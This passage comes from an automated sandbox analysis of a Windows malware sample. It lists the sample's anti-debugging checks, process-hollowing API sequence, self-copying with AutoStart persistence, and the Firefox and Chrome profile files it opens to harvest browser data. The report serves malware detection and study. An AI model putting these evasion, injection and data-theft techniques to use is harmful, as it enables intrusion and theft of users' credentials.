Jump to behavior

Source: C:\Users\user\Desktop\16oApcahEa.exe

Code function: 0_2_04BEE71C rdtsc

0_2_04BEE71C

Source: C:\Users\user\Desktop\16oApcahEa.exe

Code function: 2_2_00424168 _memset,IsDebuggerPresent,

2_2_00424168

Source: C:\Users\user\Desktop\16oApcahEa.exe

Code function: 2_2_0042A57A EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

2_2_0042A57A

Source: C:\Users\user\Desktop\16oApcahEa.exe

6_2_00481920

Source: C:\Users\user\Desktop\16oApcahEa.exe

2_2_00412220

Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04BED0A3 push dword ptr fs:[00000030h]	0_2_04BED0A3
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 0_2_04CE0042 push dword ptr fs:[00000030h]	0_2_04CE0042
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_032990A3 push dword ptr fs:[00000030h]	4_2_032990A3
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: 4_2_04CE0042 push dword ptr fs:[00000030h]	4_2_04CE0042
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04AFE0A3 push dword ptr fs:[00000030h]	5_2_04AFE0A3
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 5_2_04D50042 push dword ptr fs:[00000030h]	5_2_04D50042

Source: C:\Users\user\Desktop\16oApcahEa.exe

Code function: 2_2_004278D5 GetProcessHeap,

2_2_004278D5

Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_004329EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_004329EC
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 2_2_004329BB SetUnhandledExceptionFilter,	2_2_004329BB
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_004329EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_004329EC
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: 6_2_004329BB SetUnhandledExceptionFilter,	6_2_004329BB

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\16oApcahEa.exe

Code function: 0_2_04CE0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,

0_2_04CE0110

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\16oApcahEa.exe	Memory written: C:\Users\user\Desktop\16oApcahEa.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Memory written: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Memory written: C:\Users\user\Desktop\16oApcahEa.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Memory written: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Memory written: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\16oApcahEa.exe

Code function: 2_2_00419F90 GetCurrentProcess,GetLastError,GetLastError,SetPriorityClass,GetLastError,GetModuleFileNameW,PathRemoveFileSpecW,GetCommandLineW,CommandLineToArgvW,lstrcpyW,lstrcmpW,lstrcmpW,lstrcpyW,lstrcpyW,lstrcmpW,lstrcmpW,GlobalFree,lstrcpyW,lstrcpyW,OpenProcess,WaitForSingleObject,CloseHandle,Sleep,GlobalFree,GetCurrentProcess,GetExitCodeProcess,TerminateProcess,CloseHandle,lstrcatW,GetVersion,lstrcpyW,lstrcatW,lstrcatW,_memset,ShellExecuteExW,CreateThread,lstrlenA,lstrcatW,_malloc,lstrcatW,_memset,lstrcatW,MultiByteToWideChar,lstrcatW,lstrlenW,CreateThread,WaitForSingleObject,CreateMutexA,CreateMutexA,lstrlenA,lstrcpyA,_memmove,_memmove,_memmove,GetUserNameW,GetMessageW,GetMessageW,DispatchMessageW,TranslateMessage,TranslateMessage,DispatchMessageW,GetMessageW,PostThreadMessageW,PeekMessageW,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,CloseHandle,

2_2_00419F90

Source: C:\Users\user\Desktop\16oApcahEa.exe	Process created: C:\Users\user\Desktop\16oApcahEa.exe "C:\Users\user\Desktop\16oApcahEa.exe"	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Process created: C:\Users\user\Desktop\16oApcahEa.exe "C:\Users\user\Desktop\16oApcahEa.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Process created: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe --Task	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Process created: C:\Users\user\Desktop\16oApcahEa.exe "C:\Users\user\Desktop\16oApcahEa.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Process created: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe "C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe" --AutoStart
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Process created: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe "C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe" --AutoStart

Source: C:\Users\user\Desktop\16oApcahEa.exe

Code function: 0_2_04D080F6 cpuid

0_2_04D080F6

Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	0_2_04D13F87
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,__invoke_watson,	0_2_04D0C8B7
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	0_2_04D149EA
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	0_2_04D1394D
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	0_2_04D20AB6
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	2_2_0043404A
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,	2_2_00438178
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	2_2_00440116
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	2_2_004382A2
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,	2_2_0043834F
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,	2_2_00438423
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: EnumSystemLocalesW,	2_2_004387C8
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: GetLocaleInfoW,	2_2_0043884E
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,_free,_free,	2_2_00432B6D
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	2_2_00432FAD
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	2_2_004335E7
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,_LcidFromHexString,GetLocaleInfoW,	2_2_00437BB3
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: EnumSystemLocalesW,	2_2_00437E27
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	2_2_00437E83
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	2_2_00437F00
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,	2_2_0042BF17
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,	2_2_00437F83
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	4_2_04D13F87
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,__invoke_watson,	4_2_04D0C8B7
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	4_2_04D149EA
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	4_2_04D1394D
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	4_2_04D20AB6
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	5_2_04D83F87
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,__invoke_watson,	5_2_04D7C8B7
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	5_2_04D849EA
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	5_2_04D8394D
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	5_2_04D90AB6
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	6_2_0043404A
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,	6_2_00438178
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	6_2_00440116
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: _wcscmp,_wcscmp,GetLocaleInfoW,GetLocaleInfoW,GetACP,	6_2_004382A2
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,	6_2_0043834F
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,	6_2_00438423
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	6_2_004335E7
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: EnumSystemLocalesW,	6_2_004387C8
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: GetLocaleInfoW,	6_2_0043884E
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,_free,_free,	6_2_00432B6D
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,_LcidFromHexString,GetLocaleInfoW,	6_2_00437BB3
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: EnumSystemLocalesW,	6_2_00437E27
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	6_2_00437E83
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	6_2_00437F00
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,	6_2_0042BF17
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,	6_2_00437F83
Source: C:\Users\user\Desktop\16oApcahEa.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	6_2_00432FAD

Source: C:\Users\user\Desktop\16oApcahEa.exe

Code function: 0_2_00406AC0 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_00406AC0

Source: C:\Users\user\Desktop\16oApcahEa.exe

2_2_00419F90

Source: C:\Users\user\Desktop\16oApcahEa.exe

Code function: 2_2_0042FE47 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

2_2_0042FE47

Source: C:\Users\user\Desktop\16oApcahEa.exe

2_2_00419F90

Source: C:\Users\user\Desktop\16oApcahEa.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\16oApcahEa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\search.json.mozlz4	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\addonStartup.json.lz4	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\trusted_vault.pb	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\AlternateServices.txt	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\content-prefs.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\extension-preferences.json	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\webappsstore.sqlite-shm	Jump to behavior
